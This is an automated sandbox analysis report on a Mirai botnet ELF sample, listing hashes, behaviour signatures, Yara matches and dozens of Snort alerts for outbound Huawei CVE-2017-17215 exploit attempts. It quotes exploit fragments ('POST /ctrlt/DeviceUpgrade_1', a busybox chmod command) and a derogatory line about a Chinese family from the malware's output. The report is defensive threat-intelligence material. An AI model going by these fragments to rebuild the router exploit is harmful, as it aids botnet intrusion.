Edit tour

Linux Analysis Report
UJA4UUHlPP.elf

Overview

General Information

Sample Name:	UJA4UUHlPP.elf
Analysis ID:	803155
MD5:	436bcfa743187b961b9c20cf8a9bd394
SHA1:	8240908c098cc670b7d513304b301643c9f6000d
SHA256:	53a6f71a09283c47eca762b63fc5b5275dcee1d313a828461c146ed4429f4438
Tags:	32elfmiraisparc
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	803155
Start date and time:	2023-02-09 19:34:22 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	UJA4UUHlPP.elf
Detection:	MAL
Classification:	mal84.troj.evad.linELF@0/407@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/UJA4UUHlPP.elf
PID:	6215
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

UJA4UUHlPP.elf (PID: 6215, Parent: 6132, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/UJA4UUHlPP.elf

UJA4UUHlPP.elf New Fork (PID: 6217, Parent: 6215)

UJA4UUHlPP.elf New Fork (PID: 6219, Parent: 6217)

UJA4UUHlPP.elf New Fork (PID: 6220, Parent: 6217)

UJA4UUHlPP.elf New Fork (PID: 6221, Parent: 6217)

UJA4UUHlPP.elf New Fork (PID: 6222, Parent: 6217)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
UJA4UUHlPP.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xdd88:$x2: /bin/busybox chmod 777 * /tmp/ 0xde28:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6215.1.00007fca5c011000.00007fca5c020000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xdd88:$x2: /bin/busybox chmod 777 * /tmp/ 0xde28:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.47.241

Timestamp:	192.168.2.23197.199.47.24135554372152835222 02/09/23-19:36:39.152905
SID:	2835222
Source Port:	35554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.34.53.128

Timestamp:	192.168.2.23197.34.53.12855516372152835222 02/09/23-19:36:41.288434
SID:	2835222
Source Port:	55516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.148.220

Timestamp:	192.168.2.23197.194.148.22041426372152835222 02/09/23-19:37:17.671058
SID:	2835222
Source Port:	41426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.130.114

Timestamp:	192.168.2.23197.197.130.11452988372152835222 02/09/23-19:35:49.808698
SID:	2835222
Source Port:	52988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.248.183

Timestamp:	192.168.2.23197.194.248.18337204372152835222 02/09/23-19:36:41.252066
SID:	2835222
Source Port:	37204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.10.232

Timestamp:	192.168.2.23197.199.10.23236998372152835222 02/09/23-19:35:59.380284
SID:	2835222
Source Port:	36998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.175.177

Timestamp:	192.168.2.2341.152.175.17742198372152835222 02/09/23-19:36:17.830264
SID:	2835222
Source Port:	42198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.23.165.38

Timestamp:	192.168.2.23154.23.165.3839396372152835222 02/09/23-19:37:13.418709
SID:	2835222
Source Port:	39396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.43.113

Timestamp:	192.168.2.23197.195.43.11339276372152835222 02/09/23-19:35:46.636550
SID:	2835222
Source Port:	39276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 80.239.200.114

Timestamp:	192.168.2.2380.239.200.11440028372152835222 02/09/23-19:35:35.007126
SID:	2835222
Source Port:	40028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.186.194

Timestamp:	192.168.2.2341.153.186.19450640372152835222 02/09/23-19:36:03.661772
SID:	2835222
Source Port:	50640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.24.169

Timestamp:	192.168.2.23197.192.24.16957650372152835222 02/09/23-19:35:37.155342
SID:	2835222
Source Port:	57650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.234.98

Timestamp:	192.168.2.2341.36.234.9846956372152835222 02/09/23-19:37:20.043847
SID:	2835222
Source Port:	46956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.245.130

Timestamp:	192.168.2.23197.193.245.13038366372152835222 02/09/23-19:36:01.489752
SID:	2835222
Source Port:	38366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.97.224

Timestamp:	192.168.2.23197.192.97.22450376372152835222 02/09/23-19:36:26.541167
SID:	2835222
Source Port:	50376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.250.210

Timestamp:	192.168.2.23197.193.250.21037494372152835222 02/09/23-19:35:35.051214
SID:	2835222
Source Port:	37494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.84.165

Timestamp:	192.168.2.23197.192.84.16557214372152835222 02/09/23-19:35:49.750223
SID:	2835222
Source Port:	57214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.172.252

Timestamp:	192.168.2.23197.193.172.25245554372152835222 02/09/23-19:36:22.112380
SID:	2835222
Source Port:	45554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.135.103.66

Timestamp:	192.168.2.23178.135.103.6647496372152835222 02/09/23-19:36:17.840343
SID:	2835222
Source Port:	47496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.175.75

Timestamp:	192.168.2.2341.153.175.7559082372152835222 02/09/23-19:36:24.349522
SID:	2835222
Source Port:	59082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.153.240

Timestamp:	192.168.2.23197.196.153.24037434372152835222 02/09/23-19:37:13.483847
SID:	2835222
Source Port:	37434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.203.8.111

Timestamp:	192.168.2.23154.203.8.11146430372152835222 02/09/23-19:36:16.754947
SID:	2835222
Source Port:	46430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.107.255

Timestamp:	192.168.2.2341.153.107.25551618372152835222 02/09/23-19:36:45.568218
SID:	2835222
Source Port:	51618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.243.204

Timestamp:	192.168.2.23197.194.243.20447858372152835222 02/09/23-19:36:39.148356
SID:	2835222
Source Port:	47858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.246.210

Timestamp:	192.168.2.2341.153.246.21038516372152835222 02/09/23-19:35:26.572612
SID:	2835222
Source Port:	38516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.83.202

Timestamp:	192.168.2.23197.192.83.20257920372152835222 02/09/23-19:37:00.426232
SID:	2835222
Source Port:	57920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.229.74

Timestamp:	192.168.2.23197.194.229.7447114372152835222 02/09/23-19:36:27.619841
SID:	2835222
Source Port:	47114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.178.81

Timestamp:	192.168.2.2331.136.178.8153396372152835222 02/09/23-19:36:41.281213
SID:	2835222
Source Port:	53396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.153.222

Timestamp:	192.168.2.23197.194.153.22247006372152835222 02/09/23-19:35:51.994032
SID:	2835222
Source Port:	47006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.188.19

Timestamp:	192.168.2.23197.194.188.1944340372152835222 02/09/23-19:36:17.903813
SID:	2835222
Source Port:	44340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.88.6

Timestamp:	192.168.2.23197.192.88.642846372152835222 02/09/23-19:35:23.375188
SID:	2835222
Source Port:	42846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.55.47

Timestamp:	192.168.2.23197.193.55.4760920372152835222 02/09/23-19:37:11.179377
SID:	2835222
Source Port:	60920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.72.201.92

Timestamp:	192.168.2.2337.72.201.9240164372152835222 02/09/23-19:37:13.450434
SID:	2835222
Source Port:	40164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.216.248

Timestamp:	192.168.2.2341.153.216.24858358372152835222 02/09/23-19:36:57.306653
SID:	2835222
Source Port:	58358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.52.238

Timestamp:	192.168.2.23197.195.52.23841896372152835222 02/09/23-19:36:32.900478
SID:	2835222
Source Port:	41896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.26.28

Timestamp:	192.168.2.23197.195.26.2845582372152835222 02/09/23-19:36:49.761693
SID:	2835222
Source Port:	45582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.95.14

Timestamp:	192.168.2.23197.192.95.1454600372152835222 02/09/23-19:36:52.881453
SID:	2835222
Source Port:	54600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.22.219

Timestamp:	192.168.2.23156.230.22.21943276372152835222 02/09/23-19:36:16.475654
SID:	2835222
Source Port:	43276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.49.50

Timestamp:	192.168.2.23197.193.49.5034920372152835222 02/09/23-19:37:06.968675
SID:	2835222
Source Port:	34920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.11.44

Timestamp:	192.168.2.23197.194.11.4459412372152835222 02/09/23-19:36:10.846281
SID:	2835222
Source Port:	59412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.60.45

Timestamp:	192.168.2.23197.199.60.4555596372152835222 02/09/23-19:36:32.973876
SID:	2835222
Source Port:	55596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.29.108

Timestamp:	192.168.2.23197.199.29.10832972372152835222 02/09/23-19:36:43.453028
SID:	2835222
Source Port:	32972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.124.238

Timestamp:	192.168.2.23197.192.124.23850024372152835222 02/09/23-19:35:26.572628
SID:	2835222
Source Port:	50024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.3.213

Timestamp:	192.168.2.23197.39.3.21333616372152835222 02/09/23-19:35:26.588057
SID:	2835222
Source Port:	33616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.109.3

Timestamp:	192.168.2.23197.195.109.348410372152835222 02/09/23-19:35:45.379856
SID:	2835222
Source Port:	48410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.52.233

Timestamp:	192.168.2.23197.199.52.23360220372152835222 02/09/23-19:36:14.165823
SID:	2835222
Source Port:	60220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.250.9

Timestamp:	192.168.2.2341.153.250.944376372152835222 02/09/23-19:36:16.271723
SID:	2835222
Source Port:	44376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.129.32

Timestamp:	192.168.2.23197.192.129.3245690372152835222 02/09/23-19:37:03.590896
SID:	2835222
Source Port:	45690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.69.148

Timestamp:	192.168.2.2341.152.69.14857402372152835222 02/09/23-19:36:10.903673
SID:	2835222
Source Port:	57402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.3.21

Timestamp:	192.168.2.23156.162.3.2148196372152835222 02/09/23-19:35:59.320230
SID:	2835222
Source Port:	48196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.215.167

Timestamp:	192.168.2.23197.193.215.16759920372152835222 02/09/23-19:36:14.166140
SID:	2835222
Source Port:	59920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.199.223

Timestamp:	192.168.2.23197.193.199.22337312372152835222 02/09/23-19:36:22.049621
SID:	2835222
Source Port:	37312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.3.156

Timestamp:	192.168.2.23197.194.3.15658900372152835222 02/09/23-19:36:14.174409
SID:	2835222
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.209.57

Timestamp:	192.168.2.23197.193.209.5734294372152835222 02/09/23-19:36:30.797630
SID:	2835222
Source Port:	34294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.157.122

Timestamp:	192.168.2.23197.194.157.12240976372152835222 02/09/23-19:36:43.391883
SID:	2835222
Source Port:	40976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.181.190

Timestamp:	192.168.2.2341.36.181.19048038372152835222 02/09/23-19:36:17.866334
SID:	2835222
Source Port:	48038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.171.91

Timestamp:	192.168.2.23197.194.171.9157036372152835222 02/09/23-19:37:09.084703
SID:	2835222
Source Port:	57036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.242.194

Timestamp:	192.168.2.23197.193.242.19444496372152835222 02/09/23-19:36:27.614449
SID:	2835222
Source Port:	44496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.109.108

Timestamp:	192.168.2.23197.192.109.10856844372152835222 02/09/23-19:36:32.896963
SID:	2835222
Source Port:	56844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.202.158

Timestamp:	192.168.2.23197.193.202.15833280372152835222 02/09/23-19:36:03.718768
SID:	2835222
Source Port:	33280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.255.159

Timestamp:	192.168.2.23197.193.255.15948620372152835222 02/09/23-19:35:32.938858
SID:	2835222
Source Port:	48620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.34.57

Timestamp:	192.168.2.23197.194.34.5739768372152835222 02/09/23-19:35:35.051295
SID:	2835222
Source Port:	39768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.173.177

Timestamp:	192.168.2.2341.153.173.17748682372152835222 02/09/23-19:36:03.723268
SID:	2835222
Source Port:	48682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.219.166

Timestamp:	192.168.2.23197.196.219.16657992372152835222 02/09/23-19:37:00.420997
SID:	2835222
Source Port:	57992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.217.66

Timestamp:	192.168.2.23197.194.217.6653960372152835222 02/09/23-19:36:01.482588
SID:	2835222
Source Port:	53960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.17.3

Timestamp:	192.168.2.23197.195.17.355014372152835222 02/09/23-19:35:28.709935
SID:	2835222
Source Port:	55014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.165.250

Timestamp:	192.168.2.23197.194.165.25056280372152835222 02/09/23-19:36:57.306901
SID:	2835222
Source Port:	56280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.214.100.84

Timestamp:	192.168.2.23197.214.100.8444168372152835222 02/09/23-19:36:39.123342
SID:	2835222
Source Port:	44168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.8.207

Timestamp:	192.168.2.2341.232.8.20733616372152835222 02/09/23-19:35:26.611979
SID:	2835222
Source Port:	33616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.130.195

Timestamp:	192.168.2.23197.196.130.19540866372152835222 02/09/23-19:36:52.877561
SID:	2835222
Source Port:	40866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.193.151

Timestamp:	192.168.2.2341.36.193.15140860372152835222 02/09/23-19:35:51.933424
SID:	2835222
Source Port:	40860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.204.20.72

Timestamp:	192.168.2.23154.204.20.7234988372152835222 02/09/23-19:36:11.046644
SID:	2835222
Source Port:	34988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.5.167

Timestamp:	192.168.2.23197.195.5.16757346372152835222 02/09/23-19:37:06.906750
SID:	2835222
Source Port:	57346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.209.182

Timestamp:	192.168.2.23197.194.209.18237420372152835222 02/09/23-19:37:06.968956
SID:	2835222
Source Port:	37420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.99.193

Timestamp:	192.168.2.23197.195.99.19350114372152835222 02/09/23-19:36:26.466826
SID:	2835222
Source Port:	50114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.206.96

Timestamp:	192.168.2.2341.152.206.9637416372152835222 02/09/23-19:35:21.212912
SID:	2835222
Source Port:	37416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.145.233

Timestamp:	192.168.2.23197.194.145.23350832372152835222 02/09/23-19:35:24.458215
SID:	2835222
Source Port:	50832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.38.230

Timestamp:	192.168.2.23197.194.38.23034636372152835222 02/09/23-19:36:04.680170
SID:	2835222
Source Port:	34636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.218.20

Timestamp:	192.168.2.2341.152.218.2045434372152835222 02/09/23-19:36:29.717403
SID:	2835222
Source Port:	45434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

